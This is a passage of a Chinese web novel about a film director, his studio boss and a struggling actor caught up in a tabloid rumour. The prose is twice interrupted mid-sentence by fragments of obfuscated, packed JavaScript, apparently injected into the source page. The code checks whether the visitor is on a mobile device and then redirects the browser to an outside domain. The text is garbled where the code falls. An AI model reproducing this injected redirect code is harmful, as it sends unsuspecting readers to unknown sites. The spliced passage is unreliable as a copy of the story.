他来过这里很多次,但留宿的次数屈指可数,上一次还是因为电影开拍前,剧本被恶意泄露,整个项目组的人焦头烂额地加班处理,尤其是江恕和沈愚,都折腾得不轻,可那会儿的江恕,反而没有现在这么狂躁,他让沈愚住在家里,也是方便赶工期,虽然累,但没有什么心理负担。 今天的江恕,有些让他捉摸不透。 沈愚又翻到和陈晖的聊天界面,对方还是没有回复。 “睡了吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705255|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈愚喃喃着,望了望天花板,发了会儿呆,就给陈晖发了个消息:“你睡了吗?” 没有回应。 沈愚等了很久,架不住倦意,睡了过去。 陈晖确实睡得早,一个是淋了雨,不想熬夜,再有就是真的心情不好,很难受。 他做了个很漫长的梦,梦见沈愚就坐在对面,像那群人一样,指责他一无是处,漂亮的脸上写满了厌恶。 陈晖在半夜浑浑噩噩地醒来,摸到床头的手机,想看看有没有那人的消息,睁开眼模模糊糊看到对方问他有没有睡,他头脑晕乎乎的,想回,但又累得抬不起手指头,头一歪,又睡了过去。 第二天,他才发现自己光荣地感冒了,只好在群里请了假,窝在家里。朱嘉意那边也没有新的活儿,他就是等,煮了点粥喝完,就开始拨弄他的吉他。 今时早已不同往日,他写歌的速度慢了很多。 没有灵感的日子是很难熬,很致命的。 陈晖浑身上下都不得劲儿,又躺在沙发上,继续研究起他那个破烂演技。研究个十分钟,他就拿起手机,看看有没有沈愚的消息。 “你睡了吗?” 消息显示昨晚十一点半。 “不好意思沈导,昨晚我睡得早,现在才看见。” 这是陈晖早上七点半回的,沈愚还没有回应。 他心里隐隐焦虑,他不希望自己的担心成真,他希望沈愚能看到他优秀的一面,不要轻易放弃他。 陈晖越想越难受,再看看手里的剧本,突然就代入了一下,眼睛红了。 但沈愚并不是故意没回消息。 他一大早就起来替江恕遛狗,原因是那个神经病半夜在房里喝酒,给自己喝晕了,早上起不来。年糕在房门口挠了半天,江恕都没起床,最后只能是沈愚去帮忙遛了一圈,结果走得匆忙,手机忘带了。好不容易回来,又被逮着出门,沈愚没忍住,吐槽了一句:“江恕,你酒醒了吗?” “醒了,我这不是好得很嘛?” 江恕人模狗样地打好领带,就精神抖擞地出发了。 沈愚头大,昨晚又没睡好,上了车才打开手机,看到陈晖的消息,脑子没转过来,就打字说:“晚上我去找你。” 陈晖一个激灵,从沙发上弹了起来。 “好。” 陈晖想都没想地答应下来,而后才开始后悔。 他真没本事,只会让人看笑话。 陈晖重新躺好,仔细钻研起了剧本。 沈愚在车上睡了一觉,接着陪着江恕走了个签合同的过场,没有太多的场面话,双方走个流程而已,中午再吃顿饭,就算大功告成。 江恕喝了点酒,但不多,人比较清醒,当然,也可能是昨晚喝太多,喝累了,这会儿就真的变成一个正经生意人,谈吐不凡,幽默风趣,整个饭桌上的气氛还算不错。 只是不知道出于什么心思,江恕总动不动提到沈愚,就好像在炫耀家里名贵的奢侈品,把人夸得天花乱坠。沈愚并不喜欢这种场合,平时的酒局,也都是江恕一个人侃侃而谈,他负责当个吉祥物就行。但现在,他也只能硬着头皮陪人演了。 梁彬的眼神在他们身上转了一圈,笑着:“江总跟沈导,真是当世知音啊,能与二位合作,是我的荣幸。” 江恕皮笑肉不笑:“我也很期待。” 梁彬举起酒杯:“我敬你。” 玻璃杯发出清脆的声响,心事就随着微苦的酒水全部咽下。 沈愚差点以为两个人世纪大和解了——如果当天下午,他们这顿饭没有冲上热搜的话。 “天星太子爷回国,疑似插足昔日好友恋情。” 沈愚看到头版头条自己和江恕的高清照片时,陷入了沉思。 18.第 18 章 这种事情,他也不是没遇到过,比起出道早期的风风雨雨,这篇爆料已经算措辞很客气的了。可是他们和天星合作在即,却突然冒出来这么个东西,很难不让人多想。 沈愚决定去找一趟江恕,对方刚处理完公事,秘书抱着一份文件从门口出来,和人打了个照面。 “沈导。” “嗯,你好。” 沈愚稍稍侧身,让那个年轻人先过去,而后自己才进了门。江恕靠在他那张真皮椅子上,正在闭目养神,听见动静,眼皮都没抬,秀气的眉毛微微皱起,看上去有些疲惫。 沈愚顿了顿,忽然觉得自己不应该为了这点小事儿来找他,江恕再怎么样都是公司一把手,是他的直系领导,这种司空见惯的花边新闻捅到这人面前,好像不太合适。 江恕原以为是秘书折回来了,还在等人汇报新的动向,结果半天没等到人吭声,眼睛一睁,才看见沈愚准备离开。 “你干嘛?来我办公室一日游啊?” 江恕还端着那吊儿郎当的腔调,沈愚笑笑:“我就是来问问你这两天的安排,看你在休息,就没打扰你。” “哦。” 江恕打量着他,那玩世不恭的眼神从上到下,从里到外,将他扫了遍,沈愚不明所以:“怎么了?” “那些绯闻我都知道了,明天我会安排公关和天星,还有那家爆料媒体沟通一下,你不要放在心上。” “我没有放在心上,只是觉得有点奇怪。” “有什么好奇怪的?你这么个大红人,外头多的是眼睛盯着你。” 沈愚想想也是,微微点头:“嗯。” 江恕注视着他,轻笑:“沈愚,你对自己也要有个清晰的认知,你不会以为做了导演,就能逃开这圈子里的勾心斗角吧?” “我没有这么想。” “所以啊,你对别人的心思也要敏锐一些,可是有不少人为了你伤心呢。” 江恕似乎话里有话,沈愚大概知道他什么意思,却没有正面反驳。他觉得,关于爱,他和江恕的看法大相径庭,这不是三言两语就能解释清楚,或者说服对方的。与其聊着聊着开始吵架,不如规避这样的风险。 沈愚下意识地选择沉默,代表了他对这人的让步。 江恕见状,也没有再说些有的没的,问他:“晚上要不要一起吃饭?” “晚上有别的事情。” “什么事?” “私事。” 江恕一听就乐了:“你还有私事?谈恋爱了?” 话没说完,他自己就先反应过来:“不会吧?这才几天啊,你就追到了?” 沈愚:“……没有。” “哦,那就好。”江恕像是松了一口气,沈愚就更奇怪了,可最近他一直摸不清这人的脾气,索性没问,转身回去了。 没走多远,江恕就追了过来,一手揽过他的肩膀:“我送送你,正好也让我瞧瞧他住哪儿。” “不用。” “啧,见外了不是?” 沈愚笑了一声:“你要小心点,万一被别人扒出来你和梁彬谈过,那这个圈子就要地震了。” 江恕脸色一沉:“你再提他我就真生气了。” “哦,那真是抱歉啊,绯闻对象。” 沈愚偶尔会和江恕开玩笑,就像刚刚这样。 对方很受用,锲而不舍地说着:“我送送你吧,你又不开车,万一太晚了,那地方打不到车回来怎么办?” “没那么偏。” “不偏的话就更不行了,你现在正在风口浪尖上,我不得好好照看你?” 沈愚哭笑不得,一再拒绝,可江恕这个狗脾气上来,倔得三头牛都拉不回来,实在争不过,沈愚只好答应坐他的车去,但约法三章,不开进小区。江恕满口答应,和人勾肩搭背地出了电梯,去了地下车库。 陈晖也看到了这张照片,但不是他主动刷到的,而是朱嘉意转发给他的。他当时还在收拾家里,一方面是想放空一会儿,缓解下乱糟糟的情绪,二是不希望给沈愚留下坏印象,尽管那人已经来过好几次了,可这回,陈晖总是静不下心来,忧虑、焦躁,甚至还掺着一丝丝害怕。 他害怕面对一些有可能的结果,像他做的那场梦一样。 就这样反反复复地煎熬了许久,等他收拾完,洗了澡,吹了头,一身清爽地坐在沙发上,准备看看有没有新的消息时,弹出来的就是朱嘉意转发给他的那条爆炸绯闻。 但朱嘉意没有说多余的话,因为他不觉得这是件很出人意料的事情,他在这个圈子也混了这么些年,虽然一点名堂没有,但不至于见风就是雨。 他对此只有一个态度:“你要不这几天,暂时别跟沈导接触了?他那么大腕儿,出了事,有他老板顶着,你万一沾上这些是是非非,我可保不住你啊。” 陈晖缄默不言。 朱嘉意看他许久没回,就又发了一长串语音,苦口婆心地劝:“我也不是给你泼冷水,就是劝劝你,沈导单独给你开小灶的事情,藏着点儿,别被发现了。你要是被拍到点什么,那我们就是长八张嘴也解释不清,人家什么地位,你什么地位?到时候被推出去当炮灰,一切就完了!” 陈晖的指腹按在键盘上,停顿良久,都没有想好要怎么回。 朱嘉意说的每一句都是大实话,现在的他,根本承受不起任何一场舆论风暴,不管沈愚出于何种目的来指导他,最后都有可能变成这版面上扎眼的花边新闻,而一文不值的他,只会是被口诛笔伐的对象。 陈晖心里边就像扎了根刺,每呼吸一次,就痛得厉害。 他头一次如此怨恨自己,没有本事。 心中酸楚翻涌,眼眶便跟着红了。 陈晖退出朱嘉意的聊天界面,切换到沈愚,对方在一个小时前给他发了消息:“我出发了。” 再往上翻,两个人中午还闲聊了一会儿,他还很抱歉地说自己生病了,请假没去集训,沈愚依旧温和地安慰着他,跟他说没关系,演技这种东西急不来。 陈晖更是难过,他想,他还是不要在这个节骨眼上给人添麻烦了,不见面,就可以省去很多不必要的麻烦。 要是被拍到,沈愚也很难做。 而且,他也无法确定,那人会站在自己这边。 沈愚帮他,是因为沈愚人好,和那些落井下石的人不一样;沈愚不帮他,那是情理之中,是大多数人都会有的态度。 世界上没有免费的晚餐。 陈晖吸吸鼻子,开始编辑消息:“沈导,对不起,我今天很不舒服,嘉哥送我去医院了,你就不要来了吧,免得白跑一趟,很抱歉。” 完成,点击发送。 陈晖把手机一关,就回了房间,闷头躲进了被子里。 沈愚还在他家附近的超市挑水果。 江恕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他不能再这么下去。如果有一天,陈晖要和他切断联系,那就是轻而易举的事情。 沈愚想着,又给陈晖打了个电话,还是没接。无奈之下,他翻开微信,想问问小刘能不能找到陈晖的经纪人的联系方式,但刚准备拨过去,他突然一顿,又默默将手机塞回了口袋。 就算找到人,那又能改变什么呢?如今的他们,早已天差地别,稍微有些风吹草动,就会引发一场措手不及的风暴,这对陈晖来说,其实是致命的。 沈愚很清楚这个圈子的法则,有时候,太过心急就会暴露出无数个破绽,给那些盯梢的眼睛可乘之机。 何况陈晖如果真的希望自己过去,他就不会这么做了,而是会像其他人那样,借着生病的由头,反复试探。 陈晖是个骨子里很傲气的人,如果他需要这点怜悯、同情,借此不断往上爬,那他就不是陈晖了。 沈愚将那大包小包轻轻放在了陈晖的家门口,发了条消息,告诉他自己来过了,记得将水果拿出来放冰箱,免得坏了。 沈愚不知道自己这么做,究竟正确不正确,是将陈晖越推越远,就此形同陌路,还是等到明天,一切还会有新的转机。 他想不明白,以至于走到一半,忽然在楼梯中间停了下来。